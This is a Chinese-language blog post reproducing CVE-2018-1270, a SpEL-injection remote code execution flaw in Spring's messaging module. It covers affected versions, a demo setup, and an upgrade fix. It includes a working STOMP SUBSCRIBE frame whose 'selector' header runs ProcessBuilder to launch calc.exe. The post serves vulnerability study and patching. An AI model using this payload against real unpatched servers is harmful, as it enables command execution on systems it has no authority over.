spring-messaging RCE(cve-2018-1270) 重现 | LSABLOG

首页 » NetworkSec » Penetration » 正文

spring-messaging RCE(cve-2018-1270) 重现

0x00 概述

4月5号网上爆出spring框架的一个rce漏洞,编号cve-2018-1270,著名的ssh框架就用了spring。
漏洞存在于spring-message模块,

大致流程是:

类DefaultSubscriptionRegistry.java的addSubscriptionInternal方法中,有expression = this.expressionParser.parseExpression(selector);

这个spel表达式语句,selector可控,如果要命令执行,需要expression.getValue或expression.setValue,而后面就有

if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))

如果感兴趣还可以深入跟踪触发流程。

本文对此漏洞进行重现。

 

0x01 影响范围

Spring Framework 5.0 to 5.0.4

Spring Framework 4.3 to 4.3.14

以及更老的不支持的版本

 

0x02 漏洞重现

测试环境:

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket

git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

cd complete

./mvnw spring-boot:run

http://192.168.110.10:8080

重现:

开启抓包,点击connect

得到

[“SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\n\n\u0000″]

这个包,

加入payload:
selector:new java.lang.ProcessBuilder(\”calc.exe\”).start()\n

得:

[“SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:new java.lang.ProcessBuilder(\”calc.exe\”).start()\n\n\u0000″]

放行,

再send

重现成功!

再赠送个xss

 

0x03 修复方案

升级到5.0.5或4.3.15

 

0x04 参考资料

https://pivotal.io/security/cve-2018-1270

www.polaris-lab.com/index.php/archives/501/

https://xz.aliyun.com/t/2252

https://github.com/spring-guides/gs-messaging-stomp-websocket

 

Comment